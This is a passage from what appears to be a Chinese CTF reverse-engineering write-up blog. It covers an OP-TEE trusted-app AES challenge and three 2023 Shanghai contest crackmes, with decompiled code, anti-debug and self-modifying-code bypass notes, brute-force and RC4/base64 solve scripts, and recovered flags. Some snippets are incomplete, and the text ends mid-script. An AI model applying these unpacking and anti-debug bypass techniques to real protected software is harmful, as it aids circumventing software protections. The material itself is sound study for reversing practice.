return (unsigned int)-65530;
}
a1[1] = 0;
}
else
{
a1[1] = 1;
}
if ( *((_QWORD *)a1 + 2) )
sub_3018();
v11 = sub_305C(a1 + 4, (unsigned int)*a1, (unsigned int)a1[1], (unsigned int)(8 * a1[2]));
if ( v11 )
{
sub_930("alloc_resources", 160LL, 1LL, 1LL, "Failed to allocate");
*((_QWORD *)a1 + 2) = 0LL;
}
else
{
if ( *((_QWORD *)a1 + 3) )
sub_2400();
v11 = sub_2380(2684354576LL, (unsigned int)(8 * a1[2]), a1 + 6);
if ( v11 )
{
sub_930("alloc_resources", 174LL, 1LL, 1LL, "Failed to allocate");
*((_QWORD *)a1 + 3) = 0LL;
}
else
{
v14 = sub_1F70((unsigned int)a1[2], 0LL);
if ( v14 )
{
sub_2578(v23, 3221225472LL, v14, (unsigned int)a1[2]);
v11 = sub_24A8(*((_QWORD *)a1 + 3), v23, 1LL);
if ( v11 )
{
sub_930("alloc_resources", 198LL, 1LL, 1LL, "TEE failed, %x", v11);
}
else
{
v11 = sub_3DC0(*((_QWORD *)a1 + 2), *((_QWORD *)a1 + 3));
if ( !v11 )
return v11;
sub_930("alloc_resources", 204LL, 1LL, 1LL, "TEE failed %x", v11);
}
}
else
{
v11 = -65524;
}
}
}
if ( *((_QWORD *)a1 + 2) )
sub_3018();
v12 = *((_QWORD *)a1 + 3);
*((_QWORD *)a1 + 2) = 0LL;
if ( v12 )
sub_2400();
*((_QWORD *)a1 + 3) = 0LL;
return v11;
case 1u:
sub_930("set_bj888_key", 240LL, 3LL, 1LL, "Session %p: load ", a1);
if ( a3 != 5 )
return (unsigned int)-65530;
v15 = *((_DWORD *)a4 + 2);
if ( v15 != a1[2] )
{
sub_930("set_bj888_key", 251LL, 1LL, 1LL, "Wrong size %u, expect %u bytes", v15);
return (unsigned int)-65530;
}
((void (*)(void))sub_2578)();
sub_2454(*((_QWORD *)a1 + 3));
v16 = sub_24A8(*((_QWORD *)a1 + 3), v23, 1LL);
v11 = v16;
if ( v16 )
{
sub_930("set_bj888_key", 280LL, 1LL, 1LL, "TEE failed, %x", v16);
}
else
{
sub_3D48(*((_QWORD *)a1 + 2));
v17 = sub_3DC0(*((_QWORD *)a1 + 2), *((_QWORD *)a1 + 3));
v11 = v17;
if ( v17 )
sub_930("set_bj888_key", 287LL, 1LL, 1LL, "TEE failed %x", v17);
}
return v11;
case 2u:
sub_930("reset_bj888_iv", 310LL, 3LL, 1LL, "Session %p: no hint", a1);
if ( a3 != 5 )
return (unsigned int)-65530;
sub_42E4(*((_QWORD *)a1 + 2), *a4, *((unsigned int *)a4 + 2));
return 0;
case 3u:
sub_930("cipher_buffer", 344LL, 3LL, 1LL, "Session %p: no hints", a1);
if ( a3 != 101 )
return (unsigned int)-65530;
v18 = *((_DWORD *)a4 + 2);
if ( *((_DWORD *)a4 + 6) < v18 )
{
sub_930("cipher_buffer", 352LL, 1LL, 1LL, "Bad sizes: in %d, out %d", v18);
return (unsigned int)-65530;
}
v19 = *((_QWORD *)a1 + 2);
if ( !v19 )
return (unsigned int)-65529;
sub_43C4(v19, *a4);
v20 = a4[2];
v21 = sub_20(v23, &unk_11AFA, 27LL);
for ( i = 0LL; i != 27; ++i )
{
if ( *(unsigned __int8 *)(v21 + i) != *(unsigned __int8 *)(v20 + i) )
{
sub_1E10(*a4, "wrong", 6LL);
sub_1FD8("wrong");
return (unsigned int)-65530;
}
}
sub_1E10(*a4, "right", 6LL);
sub_1FD8("right");
return 0;
default:
v11 = -65526;
sub_930("TA_InvokeCommandEntryPoint", 452LL, 1LL, 1LL, " 0x%x is not supported", a2);
return v11;
}
}

可以看到主要逻辑是获取key和iv然后进行加密,再对比。如果有手动构建过optee的话,这个其实就是内置的aes的ctr加密魔改过来的,加密并没有魔改,只是将key和iv初始化在了host,下面可以直接用在线网站跑出结果:

1

当然,最好的方法是修改optee_example_aes文件中host目录下的main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int main(void)
{
struct test_ctx ctx;
char key[AES_TEST_KEY_SIZE]="snbjklefsdcvfsyc";
char iv[AES_BLOCK_SIZE]="snbjklefsdcvfsyc";
char clear[AES_TEST_BUFFER_SIZE];
char ciph[AES_TEST_BUFFER_SIZE]={0x25, 0x03, 0x0A, 0x6C, 0xF8,
0xB1, 0xCE, 0x7F, 0xC9, 0x42, 0x0C, 0x0D, 0x68, 0xB3, 0x1C, 0x04,
0x64, 0xFA, 0xE5, 0xA4, 0x22, 0xD4, 0x2C, 0xFF, 0x4E, 0x36, 0x2A};
char temp[AES_TEST_BUFFER_SIZE];

//printf("Prepare session with the TA\\n");
//prepare_tee_session(&ctx);

//printf("Prepare encode operation\\n");
//prepare_aes(&ctx, ENCODE);

//printf("Load key in TA\\n");
//memset(key, 0xa5, sizeof(key)); /* Load some dummy value */
//set_key(&ctx, key, AES_TEST_KEY_SIZE);

//printf("Reset ciphering operation in TA (provides the initial vector)\\n");
//memset(iv, 0, sizeof(iv)); /* Load some dummy value */
//set_iv(&ctx, iv, AES_BLOCK_SIZE);

//printf("Encode buffer from TA\\n");
//memset(clear, 0x5a, sizeof(clear)); /* Load some dummy value */
//cipher_buffer(&ctx, clear, ciph, AES_TEST_BUFFER_SIZE);

printf("Prepare decode operation\\n");
prepare_aes(&ctx, DECODE);

//printf("Load key in TA\\n");
//memset(key, 0xa5, sizeof(key)); /* Load some dummy value */
set_key(&ctx, key, AES_TEST_KEY_SIZE);

//printf("Reset ciphering operation in TA (provides the initial vector)\\n");
//memset(iv, 0, sizeof(iv)); /* Load some dummy value */
set_iv(&ctx, iv, AES_BLOCK_SIZE);

printf("Decode buffer from TA\\n");
cipher_buffer(&ctx, ciph, temp, AES_TEST_BUFFER_SIZE);

/* Check decoded is the clear content */
if (memcmp(clear, temp, AES_TEST_BUFFER_SIZE))
printf("Clear text and decoded text differ => ERROR\\n");
else
printf("Clear text and decoded text match\\n");

terminate_tee_session(&ctx);
return 0;
}

然后编译运行,可以直接跑出flag:sctf{T3e_not_s4f3_anym0re!}

0

当然该题还可以进行动态调试,只需要把run.sh最后一行改为:

1
-monitor null -serial tcp:localhost:port1 	-serial tcp:localhost:port2 -s -S

指定串口即可,然后run.sh运行,再用gdb连接,接下来下断点到文件加载处,便可以进行动态调试。

5.总结

这次出题学到了很多,在赛后也受到许多大师傅的启发,之后会让题出的更有逻辑和思路,而不是一味的堆砌。在这次出题后,在平时需要进行沉淀和思考,不能急于求成。

2023上海省赛:

好久没写wp了,重新使用一下博客吧,re不难,但时间不是很够

REVERSE

flag在哪?

通过搜索字符串和交叉引用,找到加密处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int sub_401670()
{
char v0; // cl
int v2; // [esp+0h] [ebp-44h] BYREF
char v3[4]; // [esp+20h] [ebp-24h] BYREF
int v4; // [esp+40h] [ebp-4h]

sub_401780();
sub_4026A0(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
__scrt_stub_for_initialize_mta();
sub_4017B0(v3);
sub_401840((char)&v2);
v4 = sub_402770(&v2, v3);
return sub_4018A0(v0, v4);
}
1
2
3
4
5
6
7
8
9
10
int __cdecl sub_402770(int a1, int a2)
{
int v2; // ecx
int v4; // [esp+0h] [ebp-4h]

sub_401C40(v2);
v4 = ((int (__cdecl *)(int, int))Block)(a1, a2);
free(Block);
return v4;
}

该函数是加密函数,但是需要smc一下

把这个地方的call nop掉可以看到函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
char *__cdecl sub_5040A0(int a1, int a2)
{
char v3[4132]; // [esp+0h] [ebp-1254h] BYREF
char v4[256]; // [esp+1024h] [ebp-230h] BYREF
char v5[256]; // [esp+1124h] [ebp-130h] BYREF
int v6; // [esp+1224h] [ebp-30h]
int v7; // [esp+1228h] [ebp-2Ch]
char *v8; // [esp+122Ch] [ebp-28h]
char *v9; // [esp+1230h] [ebp-24h]
char *v10; // [esp+1234h] [ebp-20h]
char *v11; // [esp+1238h] [ebp-1Ch]
void *v12; // [esp+123Ch] [ebp-18h]
int v13; // [esp+1240h] [ebp-14h]
int v14; // [esp+1244h] [ebp-10h]
int (__cdecl *v15)(int); // [esp+1248h] [ebp-Ch]
int j; // [esp+124Ch] [ebp-8h]
int i; // [esp+1250h] [ebp-4h]

v15 = dword_4062B4;
v7 = dword_406448;
v6 = dword_40644C;
v14 = dword_4062B4(a1);
v13 = v15(a2);
for ( i = 0; i < v14; ++i )
{
v5[i] = *(_BYTE *)(i + a1) ^ 4;
if ( i % 3 == 1 )
v5[i] ^= byte_406000[3 * i];
}
v5[v14] = 0;
for ( j = 0; j < v13; ++j )
{
v4[j] = *(_BYTE *)(j + a2) ^ 6;
if ( j % 2 == 1 )
v4[j] = *(_BYTE *)(j + a2 + 7);
}
v4[v13] = 0;
v12 = v3;
dword_406458(v3, sub_401AC0, 4132);
v9 = v3;
v10 = v5;
v11 = v4;
v8 = v3;
return v3;
}

对flag进行加密,key的加密是动调获取,再看被nop掉的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl sub_19EC64(char *Str, char *a2)
{
char v3[80]; // [esp+0h] [ebp-78h]
int v4; // [esp+50h] [ebp-28h]
int v5; // [esp+54h] [ebp-24h]
unsigned int v6; // [esp+58h] [ebp-20h]
int v7; // [esp+5Ch] [ebp-1Ch]
int v8; // [esp+60h] [ebp-18h]
unsigned int v9; // [esp+64h] [ebp-14h]
unsigned int v10; // [esp+68h] [ebp-10h]
unsigned int v11; // [esp+6Ch] [ebp-Ch]
int v12; // [esp+70h] [ebp-8h]
unsigned int i; // [esp+74h] [ebp-4h]

v10 = dword_4062B4(Str);
v6 = dword_4062B4(a2);
dword_4062B4(byte_406274);
v12 = 15;
v11 = 15 - v10;
if ( v10 != 15 )
return v11;
for ( i = 0; i < v10; ++i )
{
v4 = 0;
v9 = i % 3;
v7 = dword_406450(i % 3);
v5 = (v7 + 2) ^ Str[i];
v8 = a2[i];
if ( i >= v6 )
v8 = 0;
v3[i] = v8 + v5;
if ( v3[i] != byte_406274[i] )
return i + 1;
}
return 0;
}

很轻松的用爆破解决问题:下面是脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
flag = "111111111111111"
a = [0] * len(flag)
che = [0x66, 0x6C, 0x61, 0x67, 0x7B, 0x77, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x74, 0x6F, 0x6D, 0x7D, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x4D, 0x79, 0x20, 0x63, 0x68, 0x65, 0x65, 0x73, 0x65, 0x7D, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x6D, 0x69, 0x73, 0x73, 0x20, 0x74, 0x6F, 0x6D, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6C, 0x65, 0x74, 0x27, 0x73, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x66, 0x75, 0x6E, 0x7D, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x75, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x73, 0x74, 0x65, 0x61, 0x6C, 0x20, 0x6D, 0x79, 0x20, 0x63, 0x68, 0x65, 0x65, 0x73, 0x65, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x68, 0x61, 0x76, 0x65, 0x64, 0x20, 0x6C, 0x6F, 0x73, 0x74, 0x20, 0x61, 0x20, 0x63, 0x68, 0x65, 0x65, 0x73, 0x65, 0x7D, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x63, 0x68, 0x65, 0x65, 0x73, 0x65, 0x20, 0x69, 0x73, 0x20, 0x6D, 0x79, 0x20, 0x6C, 0x69, 0x66, 0x65, 0x7D, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x77, 0x68, 0x61, 0x74, 0x20, 0x64, 0x69, 0x64, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x62, 0x72, 0x65, 0x61, 0x6B, 0x66, 0x61, 0x73, 0x74, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6C, 0x65, 0x74, 0x27, 0x73, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x64, 0x61, 0x6E, 0x63, 0x69, 0x6E, 0x67, 0x7D, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x63, 0x61, 0x6E, 0x20, 0x75, 0x20, 0x70, 0x6C, 0x61, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x69, 0x61, 0x6E, 0x6F, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x6D, 0x65, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x67, 0x72, 0x65, 0x61, 0x74, 0x20, 0x64, 0x72, 0x65, 0x61, 0x6D, 0x7D, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x67, 0x6F, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, 0x6F, 0x75, 0x74, 0x68, 0x20, 0x50, 0x6F, 0x6C, 0x65, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6C, 0x65, 0x74, 0x27, 0x73, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x66, 0x69, 0x67, 0x68, 0x74, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x27, 0x6D, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x6F, 0x6E, 0x20, 0x61, 0x6E, 0x20, 0x61, 0x6E, 0x74, 0x69, 0x2D, 0x48, 0x75, 0x6C, 0x6B, 0x20, 0x61, 0x72, 0x6D, 0x6F, 0x72, 0x20, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x6B, 0x6E, 0x65, 0x77, 0x20, 0x74, 0x6F, 0x6D, 0x20, 0x77, 0x61, 0x73, 0x20, 0x67, 0x6F, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6B, 0x20, 0x6D, 0x65, 0x20, 0x74, 0x6F, 0x6E, 0x69, 0x67, 0x68, 0x74, 0x7D, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x27, 0x76, 0x65, 0x20, 0x61, 0x6C, 0x72, 0x65, 0x61, 0x64, 0x79, 0x20, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x64, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x77, 0x68, 0x61, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x64, 0x6F, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6E, 0x6F, 0x74, 0x20, 0x64, 0x72, 0x75, 0x6E, 0x6B, 0x20, 0x6E, 0x6F, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x6F, 0x68, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x6F, 0x68, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x69, 0x20, 0x62, 0x65, 0x74, 0x20, 0x69, 0x74, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x72, 0x61, 0x69, 0x6E, 0x20, 0x74, 0x6F, 0x6D, 0x6F, 0x72, 0x72, 0x6F, 0x77, 0x7D, 0x00, 0x00, 0x00, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x74, 0x6F, 0x6D, 0x20, 0x74, 0x6F, 0x6C, 0x64, 0x20, 0x6D, 0x65, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x68, 0x65, 0x20, 0x77, 0x61, 0x73, 0x20, 0x61, 0x63, 0x74, 0x75, 0x61, 0x6C, 0x6C, 0x79, 0x20, 0x61, 0x20, 0x74, 0x69, 0x67, 0x65, 0x72, 0x7D]
for i in range(len(flag)):
a[i] = ord(flag[i]) ^ 0x4
if i % 3 == 1:
a[i] ^= che[i * 3]
b = "e4bdtRV02"
a1 = a #key
a2 = b #flag
v3 = [0] * 15
cmp = [0xD3, 0x38, 0xD1, 0xD3, 0x7B, 0xAD, 0xB3, 0x66, 0x71, 0x3A, 0x59, 0x5F, 0x5F, 0x2D, 0x73]
cmp2 = [ 0x3A, 0x59, 0x5F, 0x5F, 0x2D, 0x73]
flag1 = ""
for i in range(15):
for j in range(0,0xff):
if i % 3 == 0:
v7 = 10
elif i%3 == 1:
v7 = 9
elif i %3 == 2:
v7 = 8
v5 = (v7 + 2) ^ j
if i >= len(b):
v8 = 0
else:
v8 = ord(b[i])
v3[i] = v8 + v5
if cmp[i] == v3[i]:
print(j)
for i in range(len(v3)):
print(hex(v3[i]),end = ",")
flag1 = ""
x = [98,
15,
101,
99,
12,
81,
81,
61,
53,
54,
82,
85,
83,
38,
121]
for i in range(len(x)):
for j in range(27,127):
vv = j ^ 0x4
if i % 3 == 1:
vv ^= che[i * 3]
if vv == x[i]:
flag1 += chr(j)
print(flag1)
#flag{UUU123QWE}

ezEXE

主要加密在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl sub_40179A(char *a1)
{
char v2[117]; // [esp+2Ah] [ebp-9Eh] BYREF
char Str[17]; // [esp+9Fh] [ebp-29h] BYREF
int v4; // [esp+B0h] [ebp-18h]
size_t v5; // [esp+B4h] [ebp-14h]
size_t v6; // [esp+B8h] [ebp-10h]
size_t i; // [esp+BCh] [ebp-Ch]

strcpy(Str, "VrDQ-ffgaEig04qx");
v6 = strlen(Str);
v5 = strlen(a1);
strcpy(v2, "RQpxxZgUqxzwonBuDApb3PyRJ8CcLIyXVozsVjurmPQdUdND+cly4HFq");
sub_4016EB(lpAddress, 494, 5);
((void (__cdecl *)(char *, size_t, char *, size_t, char *))lpAddress)(Str, v6, a1, v5, &v2[57]);
v4 = sub_401535(&v2[57], v5 + 1);
for ( i = 0; i < strlen(v2); ++i )
{
if ( *(_BYTE *)(i + v4) != v2[i] )
{
printf(&Format);
return 0;
}
}
printf(&byte_404005);
return 0;
}

又是smc,tls里有反调试,可以用set ip跳过,找到smc的加密。发现是rc4,所以加密就是rc4+base64

1
2
3
4
5
6
7
8
9
10
import base64
base = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
diy_base = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s = 'RQpxxZgUqxzwonBuDApb3PyRJ8CcLIyXVozsVjurmPQdUdND+cly4HFq=='
ss = ''
for i in range(len(s)-2):
ss += base[diy_base.find(s[i])]
ss += '=='
a = base64.b64decode(ss)
print(list(map(hex,a)))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
def rc4_main(key = "init_key", message = "init_message"):
print("RC4解密主函数调用成功")
print('\n')
s_box = rc4_init_sbox(key)
crypt = rc4_excrypt(message, s_box)
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
print("原来的 s 盒:%s" % s_box)
print('\n')
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
print("混乱后的 s 盒:%s"% s_box)
print('\n')
return s_box
def rc4_excrypt(plain, box):
print("调用解密程序成功。")
print('\n')
plain = base64.b64decode(plain.encode('utf-8'))
plain = bytes.decode(plain)
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
print("res用于解密字符串,解密后是:%res" %res)
print('\n')
cipher = "".join(res)
print("解密后的字符串是:%s" %cipher)
print('\n')
print("解密后的输出(没经过任何编码):")
print('\n')
return cipher
a=[0x45,0xa,0x71,0xc5,0x98,0x14,0xab,0x1c,0xf0,0xa2,0x70,0x6e,0xc,0xa,0x5b,0xdc,0xfc,0x91,0x27,0xc0,0x9c,0x2c,0x8c,0x97,0x56,0x8c,0xec,0x56,0x3b,0xab,0x98,0xf4,0x1d,0x51,0xd3,0x43,0xf9,0xc9,0x72,0xe0,0x71,0x6a] #cipher
key="VrDQ-ffgaEig04qx"
s=""
for i in a:
s+=chr(i)
s=str(base64.b64encode(s.encode('utf-8')), 'utf-8')
rc4_main(key, s)

得到flag:flag{e0f18a30-d573-41d6-a1fb-f4691a82f701}

encrytor

加密是这样的逻辑,先随机生成4个字节/3个字节或者2个字节的数,然后sha256加密,然后是进行对sbox的初始化,然后是对flag进行加密,用的是sbox来异或。

下面是正向加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import hashlib

def change(hex_string):
int_array = [int(hex_string[i:i+2], 16) for i in range(0, len(hex_string), 2)]
return int_array

def sbox_init(h):
a = [0x00, 0x00,0x00,0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF]
v7 = 0
v6 = 0
sha = change(h)
for i in range(256):
v9 = v7 + 1
v10 = a[v7 + 2]
v11 = v10 + v6
if(0x20 | v7) >> 32:
v8 = v7 % 0x20
else:
v8 = v7 % 0x20
v6 = (sha[v8] + v11) & 0xff
a[v7 + 2] = a[v6 + 2]
a[v6 + 2] = v10
v7 += 1
return a

def encode1(xbox):
v5 = 0
v6 = 1
flag = "111111111111111111111111111111111111111"
cmp = [255, 75, 90, 35, 133, 90, 109, 11, 11, 117, 67, 48, 107, 163, 38, 179, 27, 57, 109, 104, 200, 234, 116, 204, 127, 160, 119, 212, 49, 65, 93, 107, 107, 69]
xx = [0] * len(cmp)
result = 0
v7 = 0
for i in range(len(cmp)):
xbox[0] = v6 + i
v8 = (v6 +i) & 0xff
v9 = xbox[v8 + 2]
v5 += v9
v5 = v5 & 0xff
xbox[v8 + 2] = xbox[(v5 + 2) & 0xff]
xbox[(v5 + 2) & 0xff] = v9
xx[i] = xbox[(xbox[v8 + 2] + v9 + 2) & 0xff] ^ cmp[i]

print(xx)

key = '480'
h="965761235685bf29fc5a962a08187f9902867a2ba1aaf72c470adea20eccb7fc"
print(h)
box = sbox_init(h)
print(box)
encode1(box)
arr = [i1, i2, i3,i4]
if(hashlib.sha1(bytes(arr)).hexdigest().lower() == "2e60865e94119223c4657eac98d744ee909e66b8"

下面是爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import hashlib

def change(hex_string):
int_array = [int(hex_string[i:i+2], 16) for i in range(0, len(hex_string), 2)]
return int_array

def sbox_init(h):
a = [0x00, 0x00,0x00,0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 